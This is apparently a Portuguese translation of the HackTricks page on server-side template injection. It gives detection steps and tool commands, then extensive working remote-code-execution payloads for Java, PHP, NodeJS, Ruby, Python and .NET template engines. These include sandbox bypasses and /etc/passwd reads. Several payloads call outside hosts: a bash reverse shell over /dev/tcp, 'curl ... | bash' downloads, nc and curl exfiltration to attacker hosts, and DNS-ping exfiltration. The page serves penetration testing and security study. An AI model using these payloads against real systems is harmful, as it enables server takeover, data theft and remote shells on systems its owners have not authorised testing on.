hacktricks/pentesting-web/ssti-server-side-template-injection
2024-02-05 02:45:11 +00:00
..
el-expression-language.md Translated to Portuguese 2023-06-06 18:56:34 +00:00
jinja2-ssti.md Translated ['README.md', 'backdoors/salseo.md', 'cryptography/certificat 2024-01-10 07:09:16 +00:00
README.md Translated ['forensics/basic-forensic-methodology/partitions-file-system 2024-02-05 02:45:11 +00:00

SSTI (Server Side Template Injection)

Aprenda hacking AWS do zero ao herói com htARTE (HackTricks AWS Red Team Expert)!

Outras maneiras de apoiar o HackTricks:

RootedCON é o evento de cibersegurança mais relevante na Espanha e um dos mais importantes na Europa. Com a missão de promover o conhecimento técnico, este congresso é um ponto de encontro fervilhante para profissionais de tecnologia e cibersegurança em todas as disciplinas.

{% embed url="https://www.rootedcon.com/" %}

O que é a injeção de modelo do lado do servidor?

Uma injeção de modelo do lado do servidor ocorre quando um atacante é capaz de usar a sintaxe de modelo nativa para injetar uma carga maliciosa em um modelo, que é então executado do lado do servidor.

Motores de modelo são projetados para gerar páginas web combinando modelos fixos com dados voláteis. Os ataques de injeção de modelo do lado do servidor podem ocorrer quando a entrada do usuário é concatenada diretamente em um modelo, em vez de ser passada como dados. Isso permite que os atacantes injetem diretivas de modelo arbitrárias para manipular o motor de modelo, muitas vezes permitindo que assumam controle completo do servidor.

Um exemplo de código vulnerável pode ser visto no seguinte trecho:

$output = $twig->render("Dear " . $_GET['name']);

No exemplo anterior parte do modelo em si está sendo gerado dinamicamente usando o parâmetro GET name. Como a sintaxe do modelo é avaliada no servidor, isso potencialmente permite que um atacante insira um payload de injeção de modelo do lado do servidor dentro do parâmetro name da seguinte forma:

http://vulnerable-website.com/?name={{bad-stuff-here}}

Construindo um ataque de injeção de modelo do lado do servidor

Detectar

Assim como em qualquer vulnerabilidade, o primeiro passo em direção à exploração é ser capaz de encontrá-la. Talvez a abordagem inicial mais simples seja tentar fuzzar o modelo injetando uma sequência de caracteres especiais comumente usados em expressões de modelo, como o poliglota ${{<%[%'"}}%\.
Para verificar se o servidor é vulnerável, você deve observar as diferenças entre a resposta com dados regulares no parâmetro e a carga útil fornecida.
Se um erro for lançado, será bastante fácil descobrir que o servidor é vulnerável e até mesmo qual motor está sendo executado. Mas você também pode encontrar um servidor vulnerável se estivesse esperando que ele refletisse a carga útil fornecida e ela não estiver sendo refletida ou se houver alguns caracteres ausentes na resposta.

Detectar - Contexto de texto simples

A entrada fornecida está sendo renderizada e refletida na resposta. Isso é facilmente confundido com uma vulnerabilidade XSS simples, mas é fácil diferenciar se você tentar definir operações matemáticas dentro de uma expressão de modelo:

{{7*7}}
${7*7}
<%= 7*7 %>
${{7*7}}
#{7*7}
*{7*7}

Detect - Contexto do código

Nesses casos, a entrada do usuário está sendo colocada dentro de uma expressão de modelo:

engine.render("Hello {{"+greeting+"}}", data)

O acesso à página pode ser semelhante a: http://vulnerable-website.com/?greeting=data.username

Se você alterar o parâmetro greeting para um valor diferente, a resposta não conterá o nome de usuário, mas se você acessar algo como: http://vulnerable-website.com/?greeting=data.username}}hello, então, a resposta conterá o nome de usuário (se os caracteres de fechamento da expressão do modelo forem }}).
Se um erro for lançado durante esses testes, será mais fácil descobrir que o servidor é vulnerável.

Identificar

Depois de detectar o potencial de injeção de modelo, o próximo passo é identificar o mecanismo de modelo.
Embora existam muitas linguagens de modelagem, muitas delas usam uma sintaxe muito semelhante escolhida especificamente para não entrar em conflito com os caracteres HTML.

Se tiver sorte, o servidor estará imprimindo os erros e você poderá encontrar o mecanismo usado dentro dos erros. Alguns payloads possíveis que podem causar erros:

${} {{}} <%= %>
${7/0} {{7/0}} <%= 7/0 %>
${foobar} {{foobar}} <%= foobar %>
${7*7} {{7*7}} ``

Caso contrário, você precisará testar manualmente diferentes payloads específicos da linguagem e estudar como eles são interpretados pelo mecanismo de modelo. Uma maneira comum de fazer isso é injetar operações matemáticas arbitrárias usando sintaxe de diferentes mecanismos de modelo. Você pode então observar se são avaliados com sucesso. Para ajudar nesse processo, você pode usar uma árvore de decisão semelhante à seguinte:

Explorar

Assumindo que nenhum exploit se apresentou, o próximo passo é explorar o ambiente para descobrir exatamente a que você tem acesso. Você pode esperar encontrar tanto objetos padrão fornecidos pelo mecanismo de modelo, quanto objetos específicos da aplicação passados para o modelo pelo desenvolvedor. Muitos sistemas de modelo expõem um objeto 'self' ou de namespace contendo tudo em escopo, e uma maneira idiomática de listar os atributos e métodos de um objeto.

Se não houver um objeto self embutido, você terá que forçar nomes de variáveis usando SecLists e a coleção de wordlists do Burp Intruder.

Objetos fornecidos pelo desenvolvedor são particularmente propensos a conter informações sensíveis e podem variar entre diferentes modelos dentro de uma aplicação, portanto, esse processo deve idealmente ser aplicado a cada modelo distinto individualmente.

Atacar

Neste ponto, você deve ter uma ideia clara da superfície de ataque disponível para você e ser capaz de prosseguir com técnicas tradicionais de auditoria de segurança, revisando cada função em busca de vulnerabilidades exploráveis. É importante abordar isso no contexto da aplicação mais ampla - algumas funções podem ser usadas para explorar recursos específicos da aplicação. Os exemplos a seguir usarão a injeção de modelo para acionar a criação arbitrária de objetos, leitura/gravação arbitrária de arquivos, inclusão remota de arquivos, divulgação de informações e vulnerabilidades de escalonamento de privilégios.

Ferramentas

TInjA

um scanner eficiente de SSTI + CSTI que utiliza políglotos inovadores

tinja url -u "http://example.com/?name=Kirlia" -H "Authentication: Bearer ey..."
tinja url -u "http://example.com/" -d "username=Kirlia"  -c "PHPSESSID=ABC123..."

SSTImap

python3 sstimap.py -i -l 5
python3 sstimap.py -u "http://example.com/ --crawl 5 --forms
python3 sstimap.py -u 'https://example.com/page?name=John' -s

Tplmap

python2.7 ./tplmap.py -u 'http://www.target.com/page?name=John*' --os-shell
python2.7 ./tplmap.py -u "http://192.168.56.101:3000/ti?user=*&comment=supercomment&link"
python2.7 ./tplmap.py -u "http://192.168.56.101:3000/ti?user=InjectHere*&comment=A&link" --level 5 -e jade

Tabela de Injeção de Template

uma tabela interativa contendo os poliglotas de injeção de template mais eficientes juntamente com as respostas esperadas dos 44 motores de template mais importantes.

Exploits

Genérico

Nesta lista de palavras você pode encontrar variáveis definidas nos ambientes de alguns dos motores mencionados abaixo:

Java

Java - Injeção Básica

${7*7}
${{7*7}}
${class.getClassLoader()}
${class.getResource("").getPath()}
${class.getResource("../../../../../index.htm").getContent()}

Java - Obter as variáveis de ambiente do sistema

${T(java.lang.System).getenv()}

Java - Obter /etc/passwd

${T(java.lang.Runtime).getRuntime().exec('cat etc/passwd')}

${T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec(T(java.lang.Character).toString(99).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(32)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(101)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(99)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(112)).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(119)).concat(T(java.lang.Character).toString(100))).getInputStream())}

FreeMarker (Java)

Você pode tentar seus payloads em https://try.freemarker.apache.org

  • {{7*7}} = {{7*7}}
  • ${7*7} = 49
  • #{7*7} = 49 -- (legacy)
  • ${7*'7'} Nothing
  • ${foobar}
<#assign ex = "freemarker.template.utility.Execute"?new()>${ ex("id")}
[#assign ex = 'freemarker.template.utility.Execute'?new()]${ ex('id')}
${"freemarker.template.utility.Execute"?new()("id")}

${product.getClass().getProtectionDomain().getCodeSource().getLocation().toURI().resolve('/home/carlos/my_password.txt').toURL().openStream().readAllBytes()?join(" ")}

Freemarker - Bypass de Sandbox

⚠️ funciona apenas em versões do Freemarker abaixo de 2.3.30

<#assign classloader=article.class.protectionDomain.classLoader>
<#assign owc=classloader.loadClass("freemarker.template.ObjectWrapper")>
<#assign dwf=owc.getField("DEFAULT_WRAPPER").get(null)>
<#assign ec=classloader.loadClass("freemarker.template.utility.Execute")>
${dwf.newInstance(ec,null)("id")}

Mais informações

Velocity (Java)

#set($str=$class.inspect("java.lang.String").type)
#set($chr=$class.inspect("java.lang.Character").type)
#set($ex=$class.inspect("java.lang.Runtime").type.getRuntime().exec("whoami"))
$ex.waitFor()
#set($out=$ex.getInputStream())
#foreach($i in [1..$out.available()])
$str.valueOf($chr.toChars($out.read()))
#end

Mais informações

Thymeleaf (Java)

A expressão de teste típica para SSTI é ${7*7}. Esta expressão também funciona no Thymeleaf. Se desejar obter execução de código remoto, pode usar uma das seguintes expressões de teste:

  • SpringEL: ${T(java.lang.Runtime).getRuntime().exec('calc')}
  • OGNL: ${#rt = @java.lang.Runtime@getRuntime(),#rt.exec("calc")}

No entanto, como mencionado anteriormente, as expressões só funcionam em atributos especiais do Thymeleaf. Se for necessário usar uma expressão em uma localização diferente no modelo, o Thymeleaf suporta inlining de expressão. Para usar esse recurso, é necessário colocar uma expressão dentro de [[...]] ou [(...)] (selecione um ou outro dependendo se precisa escapar de símbolos especiais). Portanto, um payload simples de detecção de SSTI para Thymeleaf seria [[${7*7}]].

No entanto, as chances de o payload de detecção acima funcionar são muito baixas. As vulnerabilidades de SSTI geralmente ocorrem quando um modelo é gerado dinamicamente no código. O Thymeleaf, por padrão, não permite modelos gerados dinamicamente e todos os modelos devem ser criados antecipadamente. Portanto, se um desenvolvedor deseja criar um modelo a partir de uma string na hora, eles precisariam criar seu próprio TemplateResolver. Isso é possível, mas acontece muito raramente.

Se analisarmos mais a fundo a documentação do mecanismo de modelo Thymeleaf, encontraremos um recurso interessante chamado pré-processamento de expressão. Expressões colocadas entre dois sublinhados duplos (__...__) são pré-processadas e o resultado do pré-processamento é usado como parte da expressão durante o processamento regular. Aqui está um exemplo oficial da documentação do Thymeleaf:

#{selection.__${sel.code}__}

Exemplo vulnerável

<a th:href="@{__${path}__}" th:title="${title}">
<a th:href="${''.getClass().forName('java.lang.Runtime').getRuntime().exec('curl -d @/flag.txt burpcollab.com')}" th:title='pepito'>

http://localhost:8082/(7*7)
http://localhost:8082/(${T(java.lang.Runtime).getRuntime().exec('calc')})

Mais informações

{% content-ref url="el-expression-language.md" %} el-expression-language.md {% endcontent-ref %}

Spring Framework (Java)

*{T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec('id').getInputStream())}

Burlar filtros

Múltiplas expressões de variáveis podem ser usadas, se ${...} não funcionar, tente #{...}, *{...}, @{...} ou ~{...}.

  • Ler /etc/passwd
${T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec(T(java.lang.Character).toString(99).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(32)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(101)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(99)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(112)).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(119)).concat(T(java.lang.Character).toString(100))).getInputStream())}
  • Script personalizado para geração de payload
#!/usr/bin/python3

## Written By Zeyad Abulaban (zAbuQasem)
# Usage: python3 gen.py "id"

from sys import argv

cmd = list(argv[1].strip())
print("Payload: ", cmd , end="\n\n")
converted = [ord(c) for c in cmd]
base_payload = '*{T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec'
end_payload = '.getInputStream())}'

count = 1
for i in converted:
if count == 1:
base_payload += f"(T(java.lang.Character).toString({i}).concat"
count += 1
elif count == len(converted):
base_payload += f"(T(java.lang.Character).toString({i})))"
else:
base_payload += f"(T(java.lang.Character).toString({i})).concat"
count += 1

print(base_payload + end_payload)

Mais Informações

Manipulação de Visualização Spring (Java)

__${new java.util.Scanner(T(java.lang.Runtime).getRuntime().exec("id").getInputStream()).next()}__::.x
__${T(java.lang.Runtime).getRuntime().exec("touch executed")}__::.x

{% content-ref url="el-expression-language.md" %} el-expression-language.md {% endcontent-ref %}

Pebble (Java)

  • {{ someString.toUPPERCASE() }}

Versão antiga do Pebble ( < versão 3.0.9):

{{ variable.getClass().forName('java.lang.Runtime').getRuntime().exec('ls -la') }}

Nova versão do Pebble:

{% raw %}
{% set cmd = 'id' %}
{% endraw %}





{% set bytes = (1).TYPE
.forName('java.lang.Runtime')
.methods[6]
.invoke(null,null)
.exec(cmd)
.inputStream
.readAllBytes() %}
{{ (1).TYPE
.forName('java.lang.String')
.constructors[0]
.newInstance(([bytes]).toArray()) }}

Jinjava (Java)

Jinjava é uma biblioteca Java para análise e renderização de modelos de texto. Ele fornece suporte para injeção de modelo do lado do servidor (SSTI) e é comumente usado em aplicativos da web Java para processar modelos dinâmicos. Ao explorar vulnerabilidades de SSTI em aplicativos da web Java que usam Jinjava, os testadores de penetração podem ser capazes de executar código arbitrário no servidor.

{{'a'.toUpperCase()}} would result in 'A'
{{ request }} would return a request object like com.[...].context.TemplateContextRequest@23548206

Jinjava é um projeto de código aberto desenvolvido pela Hubspot, disponível em https://github.com/HubSpot/jinjava/

Jinjava - Execução de Comandos

Corrigido por https://github.com/HubSpot/jinjava/pull/230

{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"new java.lang.String('xxx')\")}}

{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"whoami\\\"); x.start()\")}}

{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"netstat\\\"); org.apache.commons.io.IOUtils.toString(x.start().getInputStream())\")}}

{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"uname\\\",\\\"-a\\\"); org.apache.commons.io.IOUtils.toString(x.start().getInputStream())\")}}

Mais informações

Hubspot - HuBL (Java)

  • Delimitadores de declaração {% %}
  • Delimitadores de expressão {{ }}
  • Delimitadores de comentário {# #}
  • {{ request }} - com.hubspot.content.hubl.context.TemplateContextRequest@23548206
  • {{'a'.toUpperCase()}} - "A"
  • {{'a'.concat('b')}} - "ab"
  • {{'a'.getClass()}} - java.lang.String
  • {{request.getClass()}} - class com.hubspot.content.hubl.context.TemplateContextRequest
  • {{request.getClass().getDeclaredMethods()[0]}} - public boolean com.hubspot.content.hubl.context.TemplateContextRequest.isDebug()

Pesquise por "com.hubspot.content.hubl.context.TemplateContextRequest" e descubra o projeto Jinjava no Github.

{{request.isDebug()}}
//output: False

//Using string 'a' to get an instance of class sun.misc.Launcher
{{'a'.getClass().forName('sun.misc.Launcher').newInstance()}}
//output: sun.misc.Launcher@715537d4

//It is also possible to get a new object of the Jinjava class
{{'a'.getClass().forName('com.hubspot.jinjava.JinjavaConfig').newInstance()}}
//output: com.hubspot.jinjava.JinjavaConfig@78a56797

//It was also possible to call methods on the created object by combining the







{% raw %}
{% %} and {{ }} blocks
{% set ji='a'.getClass().forName('com.hubspot.jinjava.Jinjava').newInstance().newInterpreter() %}
{% endraw %}


{{ji.render('{{1*2}}')}}
//Here, I created a variable 'ji' with new instance of com.hubspot.jinjava.Jinjava class and obtained reference to the newInterpreter method. In the next block, I called the render method on 'ji' with expression {{1*2}}.

//{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"new java.lang.String('xxx')\")}}
//output: xxx

//RCE
{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"whoami\\\"); x.start()\")}}
//output: java.lang.UNIXProcess@1e5f456e

//RCE with org.apache.commons.io.IOUtils.
{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"netstat\\\"); org.apache.commons.io.IOUtils.toString(x.start().getInputStream())\")}}
//output: netstat execution

//Multiple arguments to the commands
Payload: {{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"uname\\\",\\\"-a\\\"); org.apache.commons.io.IOUtils.toString(x.start().getInputStream())\")}}
//Output: Linux bumpy-puma 4.9.62-hs4.el6.x86_64 #1 SMP Fri Jun 1 03:00:47 UTC 2018 x86_64 x86_64 x86_64 GNU/Linux

Mais informações

Linguagem de Expressão - EL (Java)

  • ${"aaaa"} - "aaaa"
  • ${99999+1} - 100000.
  • #{7*7} - 49
  • ${{7*7}} - 49
  • ${{request}}, ${{session}}, {{faceContext}}

EL fornece um mecanismo importante para permitir que a camada de apresentação (páginas da web) se comunique com a lógica da aplicação (beans gerenciados). O EL é usado por várias tecnologias JavaEE, como a tecnologia JavaServer Faces, a tecnologia JavaServer Pages (JSP) e a Injeção de Contextos e Dependências para Java EE (CDI).
Confira a página a seguir para aprender mais sobre a exploração dos interpretadores EL:

{% content-ref url="el-expression-language.md" %} el-expression-language.md {% endcontent-ref %}

Groovy (Java)

Os seguintes desvios do Gerenciador de Segurança foram retirados deste artigo.

//Basic Payload
import groovy.*;
@groovy.transform.ASTTest(value={
cmd = "ping cq6qwx76mos92gp9eo7746dmgdm5au.burpcollaborator.net "
assert java.lang.Runtime.getRuntime().exec(cmd.split(" "))
})
def x

//Payload to get output
import groovy.*;
@groovy.transform.ASTTest(value={
cmd = "whoami";
out = new java.util.Scanner(java.lang.Runtime.getRuntime().exec(cmd.split(" ")).getInputStream()).useDelimiter("\\A").next()
cmd2 = "ping " + out.replaceAll("[^a-zA-Z0-9]","") + ".cq6qwx76mos92gp9eo7746dmgdm5au.burpcollaborator.net";
java.lang.Runtime.getRuntime().exec(cmd2.split(" "))
})
def x

//Other payloads
new groovy.lang.GroovyClassLoader().parseClass("@groovy.transform.ASTTest(value={assert java.lang.Runtime.getRuntime().exec(\"calc.exe\")})def x")
this.evaluate(new String(java.util.Base64.getDecoder().decode("QGdyb292eS50cmFuc2Zvcm0uQVNUVGVzdCh2YWx1ZT17YXNzZXJ0IGphdmEubGFuZy5SdW50aW1lLmdldFJ1bnRpbWUoKS5leGVjKCJpZCIpfSlkZWYgeA==")))
this.evaluate(new String(new byte[]{64, 103, 114, 111, 111, 118, 121, 46, 116, 114, 97, 110, 115, 102, 111, 114, 109, 46, 65, 83, 84, 84, 101, 115, 116, 40, 118, 97, 108, 117, 101, 61, 123, 97, 115, 115, 101, 114, 116, 32, 106, 97, 118, 97, 46, 108, 97, 110, 103, 46, 82, 117, 110, 116, 105, 109, 101, 46, 103, 101, 116, 82,117, 110, 116, 105, 109, 101, 40, 41, 46, 101, 120, 101, 99, 40, 34, 105, 100, 34, 41, 125, 41, 100, 101, 102, 32, 120}))

RootedCON é o evento de cibersegurança mais relevante na Espanha e um dos mais importantes na Europa. Com a missão de promover o conhecimento técnico, este congresso é um ponto de encontro fervilhante para profissionais de tecnologia e cibersegurança em todas as disciplinas.

{% embed url="https://www.rootedcon.com/" %}

Smarty (PHP)

{$smarty.version}
{php}echo `id`;{/php} //deprecated in smarty v3
{Smarty_Internal_Write_File::writeFile($SCRIPT_NAME,"<?php passthru($_GET['cmd']); ?>",self::clearConfig())}
{system('ls')} // compatible v3
{system('cat index.php')} // compatible v3

Mais informações

Twig (PHP)

  • {{7*7}} = 49
  • ${7*7} = ${7*7}
  • {{7*'7'}} = 49
  • {{1/0}} = Error
  • {{foobar}} Nothing
#Get Info
{{_self}} #(Ref. to current application)
{{_self.env}}
{{dump(app)}}
{{app.request.server.all|join(',')}}

#File read
"{{'/etc/passwd'|file_excerpt(1,30)}}"@

#Exec code
{{_self.env.setCache("ftp://attacker.net:2121")}}{{_self.env.loadTemplate("backdoor")}}
{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}}
{{_self.env.registerUndefinedFilterCallback("system")}}{{_self.env.getFilter("whoami")}}
{{_self.env.registerUndefinedFilterCallback("system")}}{{_self.env.getFilter("id;uname -a;hostname")}}
{{['id']|filter('system')}}
{{['cat\x20/etc/passwd']|filter('system')}}
{{['cat$IFS/etc/passwd']|filter('system')}}
{{['id',""]|sort('system')}}

#Hide warnings and errors for automatic exploitation
{{["error_reporting", "0"]|sort("ini_set")}}

Twig - Formato de Template

$output = $twig > render (
'Dear' . $_GET['custom_greeting'],
array("first_name" => $user.first_name)
);

$output = $twig > render (
"Dear {first_name}",
array("first_name" => $user.first_name)
);

Mais informações

Plates (PHP)

Plates é inspirado no Twig, mas é um mecanismo de modelo PHP nativo em vez de um mecanismo de modelo compilado.

controlador:

// Create new Plates instance
$templates = new League\Plates\Engine('/path/to/templates');

// Render a template
echo $templates->render('profile', ['name' => 'Jonathan']);

modelo de página:

<?php $this->layout('template', ['title' => 'User Profile']) ?>

<h1>User Profile</h1>
<p>Hello, <?=$this->e($name)?></p>

modelo de layout:

<html>
<head>
<title><?=$this->e($title)?></title>
</head>
<body>
<?=$this->section('content')?>
</body>
</html>

PHPlib e HTML_Template_PHPLIB (PHP)

HTML_Template_PHPLIB é o mesmo que PHPlib, mas portado para Pear.

authors.tpl

<html>
<head><title>{PAGE_TITLE}</title></head>
<body>
<table>
<caption>Authors</caption>
<thead>
<tr><th>Name</th><th>Email</th></tr>
</thead>
<tfoot>
<tr><td colspan="2">{NUM_AUTHORS}</td></tr>
</tfoot>
<tbody>
<!-- BEGIN authorline -->
<tr><td>{AUTHOR_NAME}</td><td>{AUTHOR_EMAIL}</td></tr>
<!-- END authorline -->
</tbody>
</table>
</body>
</html>

autores.php

<?php
//we want to display this author list
$authors = array(
'Christian Weiske'  => 'cweiske@php.net',
'Bjoern Schotte'     => 'schotte@mayflower.de'
);

require_once 'HTML/Template/PHPLIB.php';
//create template object
$t =& new HTML_Template_PHPLIB(dirname(__FILE__), 'keep');
//load file
$t->setFile('authors', 'authors.tpl');
//set block
$t->setBlock('authors', 'authorline', 'authorline_ref');

//set some variables
$t->setVar('NUM_AUTHORS', count($authors));
$t->setVar('PAGE_TITLE', 'Code authors as of ' . date('Y-m-d'));

//display the authors
foreach ($authors as $name => $email) {
$t->setVar('AUTHOR_NAME', $name);
$t->setVar('AUTHOR_EMAIL', $email);
$t->parse('authorline_ref', 'authorline', true);
}

//finish and echo
echo $t->finish($t->parse('OUT', 'authors'));
?>

Jade (NodeJS)

Jade (NodeJS)

- var x = root.process
- x = x.mainModule.require
- x = x('child_process')
= x.exec('id | nc attacker.net 80')
#{root.process.mainModule.require('child_process').spawnSync('cat', ['/etc/passwd']).stdout}

Mais informações

patTemplate (PHP)

patTemplate é um mecanismo de modelagem PHP não compilado que usa tags XML para dividir um documento em diferentes partes.

<patTemplate:tmpl name="page">
This is the main page.
<patTemplate:tmpl name="foo">
It contains another template.
</patTemplate:tmpl>
<patTemplate:tmpl name="hello">
Hello {NAME}.<br/>
</patTemplate:tmpl>
</patTemplate:tmpl>

Handlebars (NodeJS)

Travessia de Caminho (mais informações aqui).

curl -X 'POST' -H 'Content-Type: application/json' --data-binary $'{\"profile\":{"layout\": \"./../routes/index.js\"}}' 'http://ctf.shoebpatel.com:9090/'
  • = Erro
  • ${7*7} = ${7*7}
  • Nada
{{#with "s" as |string|}}
{{#with "e"}}
{{#with split as |conslist|}}
{{this.pop}}
{{this.push (lookup string.sub "constructor")}}
{{this.pop}}
{{#with string.split as |codelist|}}
{{this.pop}}
{{this.push "return require('child_process').exec('whoami');"}}
{{this.pop}}
{{#each conslist}}
{{#with (string.sub.apply 0 codelist)}}
{{this}}
{{/with}}
{{/each}}
{{/with}}
{{/with}}
{{/with}}
{{/with}}

URLencoded:
%7B%7B%23with%20%22s%22%20as%20%7Cstring%7C%7D%7D%0D%0A%20%20%7B%7B%23with%20%22e%22%7D%7D%0D%0A%20%20%20%20%7B%7B%23with%20split%20as%20%7Cconslist%7C%7D%7D%0D%0A%20%20%20%20%20%20%7B%7Bthis%2Epop%7D%7D%0D%0A%20%20%20%20%20%20%7B%7Bthis%2Epush%20%28lookup%20string%2Esub%20%22constructor%22%29%7D%7D%0D%0A%20%20%20%20%20%20%7B%7Bthis%2Epop%7D%7D%0D%0A%20%20%20%20%20%20%7B%7B%23with%20string%2Esplit%20as%20%7Ccodelist%7C%7D%7D%0D%0A%20%20%20%20%20%20%20%20%7B%7Bthis%2Epop%7D%7D%0D%0A%20%20%20%20%20%20%20%20%7B%7Bthis%2Epush%20%22return%20require%28%27child%5Fprocess%27%29%2Eexec%28%27whoami%27%29%3B%22%7D%7D%0D%0A%20%20%20%20%20%20%20%20%7B%7Bthis%2Epop%7D%7D%0D%0A%20%20%20%20%20%20%20%20%7B%7B%23each%20conslist%7D%7D%0D%0A%20%20%20%20%20%20%20%20%20%20%7B%7B%23with%20%28string%2Esub%2Eapply%200%20codelist%29%7D%7D%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%7B%7Bthis%7D%7D%0D%0A%20%20%20%20%20%20%20%20%20%20%7B%7B%2Fwith%7D%7D%0D%0A%20%20%20%20%20%20%20%20%7B%7B%2Feach%7D%7D%0D%0A%20%20%20%20%20%20%7B%7B%2Fwith%7D%7D%0D%0A%20%20%20%20%7B%7B%2Fwith%7D%7D%0D%0A%20%20%7B%7B%2Fwith%7D%7D%0D%0A%7B%7B%2Fwith%7D%7D

Mais informações

JsRender (NodeJS)

Modelo Descrição
Avaliar e renderizar saída
Avaliar e renderizar saída codificada em HTML
Comentário
e Permitir código (desativado por padrão)
  • = 49

Lado do Cliente

{{:%22test%22.toString.constructor.call({},%22alert(%27xss%27)%22)()}}

Lado do Servidor

{{:"pwnd".toString.constructor.call({},"return global.process.mainModule.constructor._load('child_process').execSync('cat /etc/passwd').toString()")()}}

Mais informações

PugJs (NodeJS)

  • #{7*7} = 49
  • #{function(){localLoad=global.process.mainModule.constructor._load;sh=localLoad("child_process").exec('touch /tmp/pwned.txt')}()}
  • #{function(){localLoad=global.process.mainModule.constructor._load;sh=localLoad("child_process").exec('curl 10.10.14.3:8001/s.sh | bash')}()}

Exemplo de renderização no lado do servidor

var pugjs = require('pug');
home = pugjs.render(injected_page)

Mais informações

NUNJUCKS (NodeJS)

  • {{7*7}} = 49
  • {{foo}} = Sem saída
  • #{7*7} = #{7*7}
  • {{console.log(1)}} = Erro
{{range.constructor("return global.process.mainModule.require('child_process').execSync('tail /etc/passwd')")()}}
{{range.constructor("return global.process.mainModule.require('child_process').execSync('bash -c \"bash -i >& /dev/tcp/10.10.14.11/6767 0>&1\"')")()}}

Mais informações

ERB (Ruby)

  • {{7*7}} = {{7*7}}
  • ${7*7} = ${7*7}
  • <%= 7*7 %> = 49
  • <%= foobar %> = Erro
<%= system("whoami") %> #Execute code
<%= Dir.entries('/') %> #List folder
<%= File.open('/etc/passwd').read %> #Read file

<%= system('cat /etc/passwd') %>
<%= `ls /` %>
<%= IO.popen('ls /').readlines()  %>
<% require 'open3' %><% @a,@b,@c,@d=Open3.popen3('whoami') %><%= @b.readline()%>
<% require 'open4' %><% @a,@b,@c,@d=Open4.popen4('whoami') %><%= @c.readline()%>

Mais informações

Slim (Ruby)

  • { 7 * 7 }
{ %x|env| }

Mais informações

Python

Confira a seguinte página para aprender truques sobre burlar as caixas de areia de execução de comandos arbitrários em python:

{% content-ref url="../../generic-methodologies-and-resources/python/bypass-python-sandboxes/" %} bypass-python-sandboxes {% endcontent-ref %}

Tornado (Python)

  • {{7*7}} = 49
  • ${7*7} = ${7*7}
  • {{foobar}} = Error
  • {{7*'7'}} = 7777777
{% raw %}
{% import foobar %} = Error
{% import os %}

{% import os %}
{% endraw %}







{{os.system('whoami')}}
{{os.system('whoami')}}

Mais informações

Jinja2 (Python)

Site oficial

Jinja2 é um mecanismo de modelo completo para Python. Possui suporte total a Unicode, um ambiente de execução isolado opcionalmente integrado, amplamente utilizado e licenciado sob a BSD.

  • {{7*7}} = Erro
  • ${7*7} = ${7*7}
  • {{foobar}} Nada
  • {{4*4}}[[5*5]]
  • {{7*'7'}} = 7777777
  • {{config}}
  • {{config.items()}}
  • {{settings.SECRET_KEY}}
  • {{settings}}
  • <div data-gb-custom-block data-tag="debug"></div>
{% raw %}
{% debug %}
{% endraw %}






{{settings.SECRET_KEY}}
{{4*4}}[[5*5]]
{{7*'7'}} would result in 7777777

Jinja2 - Formato de Template

{% raw %}
{% extends "layout.html" %}
{% block body %}
<ul>
{% for user in users %}
<li><a href="{{ user.url }}">{{ user.username }}</a></li>
{% endfor %}
</ul>
{% endblock %}
{% endraw %}


RCE não dependente de __builtins__:

{{ self._TemplateReference__context.cycler.__init__.__globals__.os.popen('id').read() }}
{{ self._TemplateReference__context.joiner.__init__.__globals__.os.popen('id').read() }}
{{ self._TemplateReference__context.namespace.__init__.__globals__.os.popen('id').read() }}

# Or in the shotest versions:
{{ cycler.__init__.__globals__.os.popen('id').read() }}
{{ joiner.__init__.__globals__.os.popen('id').read() }}
{{ namespace.__init__.__globals__.os.popen('id').read() }}

Mais detalhes sobre como abusar do Jinja:

{% content-ref url="jinja2-ssti.md" %} jinja2-ssti.md {% endcontent-ref %}

Mako (Python)

<%
import os
x=os.popen('id').read()
%>
${x}

Razor (.Net)

  • @(2+2) <= Sucesso
  • @() <= Sucesso
  • @("{{código}}") <= Sucesso
  • @ <= Sucesso
  • @{} <= ERRO!
  • @{ <= ERRO!
  • @(1+2)
  • @( //Código C# )
  • @System.Diagnostics.Process.Start("cmd.exe","/c echo RCE > C:/Windows/Tasks/test.txt");
